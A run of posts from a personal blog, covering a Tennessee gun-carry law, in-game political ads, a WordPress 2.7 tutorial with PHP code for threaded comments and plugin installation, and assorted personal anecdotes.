Recently, TN banned smoking in all restaurants and bars. However, they added an exception. They defined an “age-restricted venue” as a place that only allows people in who are 21 and older, all the time (instead of just at night or something). These places can allow smoking. Obviously, a lot of the bars did this, since large parts of their clientle smoke. However, many restaurants did not. These places make most of their money from food, they can’t ban families from coming in.

Basically, this definition created a rather obvious separation between a “restaurant” and a “bar”, without actually making any definitions along those lines. “Bars” are 21 and up. “Restaurants” are not. There’s exceptions of course, but for the most part this is the way it went down.

Now, reading that law again, you’ll find that it says “and is not an age-restricted venue as defined in 39-17-1802″. That part matters. Remember, “bars” are age-restricted venues in order for them to allow smoking in the place.

So this new law adds a new exception. Basically you now have this:

• You can’t have a firearm in a place that serves alcohol.
• Doing so is a misdemeanor.
• Exceptions to this rule:
  • If you’re police or military, that’s okay.
  • If you own the place or are a security guard hired by the owner, that’s okay.
  • If you have a carry permit and are not drinking and the restaurant is not age-restricted, that’s okay.
    • If the owner is okay with it too and doesn’t post a sign about it.

That not age-restricted bit means, basically, “and it’s not a bar”. If you prefer, it really means “and is a non-smoking establishment”, for the most part, but these are basically equivalent at this point.

So, the bottom line: you still cannot carry a gun into bars in Tennessee. Restaurants, yes. Bars, no.

So if you’re a member of the media (or even if you’re Stephen Colbert) then please, do your research first before laying down your opinion. Your ignorance of the subject leaks out into the public, and they form biased opinions based on it, and frankly I’m sick of correcting people about the new gun law. It’s not a bad thing, really, because it doesn’t allow anything that the media claimed it does. Sheesh.

Ferrari not included.

http://www.realtor.com/realestateandhomes-detail/370-Beech-Street_Highland-Park_IL_60035_1109385563

Spotted in Savannah, originally uploaded by Otto42.

Spotted this one early in the trip. Too early, in point of fact, to actually drink Jager.

Found out about an Amazon deal on their Amazon Prime Shipping. Until the end of the year, it’s discounted 20 bucks, but only if you go through this special link. Apparently it’s some kind of tie in with Ellen Degeneres or something. This is a good deal for regular Amazon customers, as it gets you free two day shipping on pretty much everything you order.

Also found this site called Free Shipping Day. A bunch of stores are banding together and offering free shipping this Thursday, the 18th. That’s the last day you can order anything and get guaranteed delivery by Xmas. So if you need to get that last minute shopping done, check out those sites on Thursday.

Dunno if you heard of this one, but I thought it was pretty good.

If you’ve played a lot of games, then you know that some of them have advertising in them. Over the years, games have had all sorts of advertising, sometimes fake, sometimes funny, sometimes real stuff. Many years back, I recall participating on usenet in a discussion of the virtual worlds of games, and the subject of in-game-advertising was brought up.

See, up until this point, advertising in games was mostly a static thing. The games didn’t, on the whole, change the ads much. At some point during the discussion, the idea was advanced to the point of changing them dynamically. I mean, these are just big textures, there’s no reason that the game could not detect an internet connection and download new ones on the fly. At the time, this was roundly hailed as preposterous, mainly because “internet” at that time mostly consisted of modems and dialup connections. Large scale multiplayer gaming was relatively new, and home broadband was basically limited to expensive ISDN connections.

Of course, the idea was natural and obvious, but I quit most of my gaming about then, and so I didn’t see how the idea went on and advanced in reality.

Both the Xbox 360 and the PS3 have more or less mandatory internet support. That is to say that while you can certainly use the thing without internet hooked to it, virtually nobody does, because it enables the vast majority of the functionality of the thing. And so, naturally, advertising came in-game on those too.

IGN Worldwide handles almost all of this advertising, from what I can tell. And recently, this got a big story boost, as it affects the elections.

Screenshot of the Obama Ad in Burnout Paradise

Burnout Paradise on the Xbox 360 and PS3 have billboards beside the highway that show advertising. On the 360 version at least, from October 6 through November 3th, if you are a player in one of ten “battleground” states, then you’ll be seeing Obama ads in the game.

The ads say that Early Voting has begun as well as pointing to Obama’s Vote For Change website.

NPR’s Morning Edition went on to confirm that the ads will appear in a total of 18 different games in those 10 states only, including Madden NFL and other sports games.

They also mention that the ads are targeted to men 18-34, but I’m not certain if that means that they will only be shown to players fitting that demographic or not. It certainly could be, since if you use those consoles on the internet, then you have an account with demographic information like that.

I find it fascinating that I missed this trend, and I can certainly see how it could be a good thing or a bad thing. I would not personally mind my games having live ads like this, as it would add a sense of realism and up-to-date-ness about them. On the other side of the coin though, I can see a lot of gamers upset by this sort of thing, as some people are simply against ads wherever they may be under any circumstances.

It’s still pretty neat, I say.

WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your theme must support it. So, for theme authors, I’d suggest getting to work on making your themes compatible right away.

Read on if you’re a theme author…

Note: A lot of people seem to miss this key bit: Enhanced Comments are optional and default to off, even after you make these changes. You have to go to the Settings->Discussion panel to turn the features on.

Actually “compatible” is not quite the right term. Old themes will continue to work fine in WordPress 2.7. It’s just the threading and paging and javascript enhancements need the theme to support it. This is much the same as the sidebar widgets, the theme has to support it for the functionality to work. So this article is really not about 2.7 compatibility, it’s about 2.7 capability.

Note that this article will explain some of the changes needed to make themes capable of supporting the new comments functions, however there’s no substitute for the real thing. Install a local copy of WordPress trunk on your home machine (possibly using XAMPP) and test it there.

Also note that this is all based on the current state of WordPress trunk, and is subject to change before WordPress 2.7 is released. However, it’s probably not going to change all that much at this point.

How to create a 2.7 compatible comments.php

2.7 Detection

If you want your theme to be backward compatible as well, then there’s a simple way to do it. Just check for the wp_list_comments function, like so:

if (function_exists('wp_list_comments')) :
// new comments.php stuff
else :
// old comments.php stuff
endif;

While you could check for the version number of WordPress, this method is better because it simply looks for the actual function you’re going to use anyway. Never make assumptions based on version number.

One of the more interesting ways I’ve seen to use this is to have the “old comments” php in a separate file entirely, which is then included. This preserves backwards compatibility for your theme in a simple way. Here’s a quick example code for that approach:

<?php
add_filter('comments_template', 'legacy_comments');
function legacy_comments($file) {
	if ( !function_exists('wp_list_comments') )
		$file = TEMPLATEPATH . '/legacy.comments.php';
	return $file;
}
?>

Adding this code to a theme’s functions.php file will make the theme use the “legacy.comments.php” for older non-2.7 installations. That way, you can simply rename your old comments.php and then make a new one based on the new functionality. Clever.

Password Protection Check

Put this code at the top of your comments.php file. This is what lets it support the post password functionality. Note that this code is quite similar to the previous way that it was done (by checking the cookie directly), but now WordPress has a specific function to do it. You should use this function in case the functionality changes in the future, your code will be forward compatible:

if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
	die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) {
	echo 'This post is password protected. Enter the password to view comments.';
	return;
}
<h4>The Comments Loop</h4>
The Comments Loop used to look similar to this (much simplified from a real one):
[php]if ($comments) :
<?php $comment_count = get_comment_count($post->ID); echo $comment_count['approved']; ?> Comments
<ul class="commentlist">
<?php foreach( $comments as $comment ) :
// stuff to display the comment in an LI here
endforeach;
?></ul>
<?php else :
if ('open' == $post-comment_status) :
	// If comments are open, but there are no comments.
else :
	// comments are closed
endif;
endif;

Basically, it went through the comments manually and output all the necessary pieces. Easy, but very manual. This also had the problem of being very inconsistent and hard to manage for your theme’s users, especially if you heavily customized it.

The new comments loop is much simpler:

<?php if ( have_comments() ) : ?>
<h4 id="comments"><?php comments_number('No Comments', 'One Comment', '% Comments' );?></h4>

<ul class="commentlist">
<?php wp_list_comments(); ?>
</ul>

<div class="navigation">
<div class="alignleft">< ?php previous_comments_link() ?></div>
<div class="alignright">< ?php next_comments_link() ?></div>
</div>
<?php else : // this is displayed if there are no comments so far ?>
	<?php if ('open' == $post->comment_status) :
		// If comments are open, but there are no comments.
	else : // comments are closed
	endif;
endif;
?>

That new one is, in fact, a complete comments loop. No simplification at all. Unless you want something displayed for “no comments” or “comments closed”, of course. I don’t have anything showing there.

There are three important pieces to note here:

• The have_comments() function replaces the check on the global $comments variable.
• The wp_list_comments() function now outputs all the comments. It does threading, the classes, everything new.
• There’s a new navigation section to do comment paging.

The Power of Javascript

To support the new Javascript functionality with comment threading, some minor bits of code are needed:

First, in the header.php, add this line immediately before the call to wp_head():

if ( is_singular() ) wp_enqueue_script( 'comment-reply' );

That code adds the comment-reply javascript to the single post pages, letting the comment reply links work correctly. WordPress specifically does NOT do this itself, for the reason that use of this script requires certain naming conventions and parameters in the comment form, which you’ll have to add.

So, your comment form has a new parameter that you have to add:

<?php comment_id_fields(); ?>

This adds a bit of code to your form which makes it display two hidden inputs: comment_post_ID and comment_parent. Your form probably had the comment_post_ID before, so you need to remove it. The comment_parent is there for the javascript, so that replies to comments get threaded properly.

Also, your comment textarea MUST have an id=”comment”. The javascript expects it for focus purposes. If you used anything else, change it. Note that because of this, no other element on your page can have the “comment” ID.

Finally, the entire comment form MUST be surrounded by a DIV with an id=”respond”. In some previous themes (including the default ones), there would be an anchor tag like this:

<a id="respond"></a>

This was there to allow the link from the front page to go directly to the respond section when there were no comments already. That still happens, but now there’s a double purpose. The javascript moves the comment form to where the reply link is, so instead of it being an anchor, it needs to be a DIV that surrounds the comment form.

So, remove that anchor, and add a DIV with an id=”respond” around the entire comment form. The link from the front page still works this way with all modern browsers, and the javascript can now move the form around on the page as needed.

Next, you can replace the call to your normal “Leave a Comment” text with something like this:

<h3><?php comment_form_title(); ?></h3>

This makes a comment form title of “Leave a Reply” which will change to “Leave a Reply to Whoever” when somebody is replying directly to another person. You can customize this, if you like, with two parameters, like so:

<?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?>

The %s will be replaced with the person’s name. This will only happen when the javascript isn’t working and the reply links have to cause a page refresh. So it’s usually not worth customizing much. Still, not everybody runs javascript and so this is nice to let them know who they are replying to.

Finally, you’ll notice that when somebody clicks “reply” and the comment form appears there, maybe they decide to cancel instead. So, that cancel link needs to be in your respond section. Here’s the code to do that, just put it right below your “leave a message” header in the comment form area:

<div id="cancel-comment-reply">
	<small><?php cancel_comment_reply_link() ?></small></div>

That’s pretty much it for making the AJAX work. With this, the new features on the Settings->Discussion panel will work. Obviously, you can modify this somewhat as needed for your theme, these are just general principles that you’ll need to use.

Styling

Now that you have it working, there’s plenty of new styling you can add to comments. The new comments loop automatically puts every comment into an LI tag, and threads them as well, with embedded UL/LI tags. It also adds a ton of classes on all these LIs which surround every comment in this fashion:

• comment, trackback, pingback classes get added depending on the type of the comment.
• byuser gets added if the comment is by a registered user of the site.
• comment-author-authorname gets added for specific registered users.
• bypostauthor gets added if the comment is by the author of the post the comment is attached to.
• odd and even classes are added to odd and even numbered comments
• alt is added to every other comment
• thread-odd, thread-even, and thread-alt classes are the same as the odd/even/alt classes, but these only apply to the top level of each set of comments and replies
• depth-1 is added to the top level comments, depth-2 to the next level, and so on.

What’s more, a comment_class filter is provided to allow you to add your own classes. Here’s an example of that. This example function adds a microid to every comment with the microid for the comment authors given URL and email address. This sort of thing could be done in a plugin or a theme’s functions.php file, whatever.

// add a microid to all the comments
function comment_add_microid($classes) {
	$c_email=get_comment_author_email();
	$c_url=get_comment_author_url();
	if (!empty($c_email) && !empty($c_url)) {
		$microid = 'microid-mailto+http:sha1:' . sha1(sha1('mailto:'.$c_email).sha1($c_url));
		$classes[] = $microid;
	}
	return $classes;
}
add_filter('comment_class','comment_add_microid');

Simple and effective. It just adds the class to the given array of classes and lets the comment display functions take care of the rest.

And there you have it. It’s not hard to support the new functions. And if you need to customize your theme’s comments section even more, wp_list_comments() supports a number of parameters. Most of this is not documented yet, because WordPress 2.7 is not out until November. However, the code is relatively straightforward, and anybody with a good understanding of WordPress should be able to work it out.

Additional: A lot of people keep asking me for a full-fledged example. Really, I recommend that you examine the comments.php file in the default theme in the 2.7 beta versions. However, the actual comments.php file I’m using on this site can be found here: http://ottodestruct.com/comments.phps, if it helps you any. It has the code I’ve described in this article, pretty much verbatim. The only additions to it are a couple of extra options on the wp_list_comments() call, such as avatar_size and reply_text.

Ahoy!

In celebration o’ International Talk Like a Pirate Day, all posts on me blog will be translated into pirate, for today only.

Remember, Talk Like a Pirate Day only comes once a year, so get out thar and drink some grog, lads!

What is the plural of "ninja" anyway?

I guess if you’re going to be a vigilante, then you may as well try to do it with a little style.

The Clifton police in New Jersey recently arrested a couple dudes who were dressed like ninjas and armed with “Asian martial arts weapons” while they were delivering warning letters to drug dealers and users.

It gets better. They claimed to be “Shinobi warriors”, and had knives, throwing stars, swords, nunchucks, and bow and arrows on them. They got charged with weapons possession and one of them was charged with leaving a harassing letter for his ex-girlfriend (if you’re going to be harassing drug dealers, then I guess you might as well get some personal grudges settled at the same time).

The letters stated that the “Shinobi will stop your cruel and sadistic intentions with justified yet, merciful force.” and accused the dealers with having “committed sin of passing impurity” to others and that the “wind guides us to those of impure heart and intent.”

Nerds with weapons. Wow. This could be an extremely entertaining trend.

So, you may have noticed the pictures appearing here this weekend. Or you may not have. I was playing with the blogging-from-the-phone thing that you can do with Flickr. I’m not entirely pleased with the results, so I deleted those, and now I’m playing with WordPress’s gallery feature instead.

Click on any of the images for more details on it.

Chicago Air and Water Show 2006

I’m taking the weekend off to go up to Chicago for the Chicago Air and Water Show, and to hang out on my friend Chuck’s boat. Should be a good time.

Expect more than a few Twitter posts while I’m there. For this reason, I might disable the auto-blog-posting of those during this weekend. If so, you can still see the latest ones on my Twitter feed, to see what I’m up to.

The plan is to drive up there late Thursday, stop at a notel somewhere for sleep, and continue on in early Friday morning. I’m not a huge fan of that idea, but I’ve got people coming with me, and they’re not really the drive-for-8-hours-and-then-continue-to-party-for-24-more types… So a good nights sleep at some point is likely the best course of action.

I also hope to get some good Chicago pizza and have a few drinks at the top of the Hancock building (that’s where everybody says to check out). But mostly, I plan on sitting on the boat, having a few brews, and enjoying the lakefront.

I’ll post a gallery of pictures upon my return.

This ranks among one of the coolest videos I’ve ever seen.

Yeah. Fuckin’ metal.

Found on Today’s Big Thing.

Just rigged up the blog to show whatever I’m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. So those weird blue things? Those are just my latest Twitter updates.

Thanks to Twitter Tools for making it work properly. Good WordPress plugin, still has a few odd points to it and some kinks to work out though. But it works well enough.

Feel free to respond more directly to anything I have to say on Twitter.

Just got a replacement battery for my car. Yay! I can go places again!

(This post is geared more towards PHP authors and fans of WordPress, so if you’re not into that sort of thing, why not go look at some pictures of cats instead?)

So, I upgraded to the latest 2.7-bleeding edge version of WordPress on my blog today, and discovered a new feature that I had missed in my earlier readings. There was a new menu item on the Plugins menu:

New Menu Item - Install Plugins!

Yes, it appears that WordPress now has plugin installation built into it. Similar to the Plugin Upgrade feature introduced in 2.5, 2.7 will be able to download and install plugins directly from WordPress.org’s plugin directory.

Naturally, I had to try this out, so read on if you want to see what it looks like…

The new Plugin Install screen

The new plugin install screen has several ways to find plugins, including all the normal plugin lists from the WordPress Plugin Directory. It also has a pretty good search as well as a fairly large tag cloud at the bottom, if you’re not entirely sure what you’re looking for.

Tip for plugin developers: Now might be a good time to look closer at those readme.txt files you’ve been making for the plugin directory, and be sure that you’ve got everything nice and neat. Especially think about tags and keywords… People have to find your plugin somehow.

Choosing a plugin

Choosing the plugin is just a matter of finding it and then clicking the Install link. When you do, you get to see more info about it first, before installing it.

Plugin Information

Note the “Install Now” button in the top right corner. Also note that only the description shows up, note of the other normal tabs. I don’t know if this is going to change or not, but nevertheless, plugin authors should consider that their descriptions will be getting more visibility this way.

Install process

Installation is much the same as upgrading, except it’s now in a thickbox. Yes, upgrading now happens in a nice thickbox too, using this same interface. The description screen is also smart enough to detect when you already have a plugin install and have the latest version of it, and tell you “Latest Update Installed” instead of “Install Now” and such.

Activating the plugin

After activating, it all goes back to normal. The resulting plugin gets its own subdirectory in the plugins directory, and all is well.

Important note for plugin authors: This sort of thing was already critical for upgrading, but now installing makes it even more so. Your main plugin’s PHP file and readme.txt file must be in the root of the SVN! You cannot package it up yourself as a ZIP file or anything like that. If it can’t find the plugin’s PHP file after downloading it, then your plugin won’t show up, it won’t be activated, and it generally won’t work for anybody.

Multimedia message, originally uploaded by Otto42.

Multimedia message, originally uploaded by Otto42.

Multimedia message, originally uploaded by Otto42.
The Liquor Fairy

The Liquor Fairy is coming to town…

Just got back from the Peabody rooftops… Band = not that great. Hot singer though, can’t argue with that.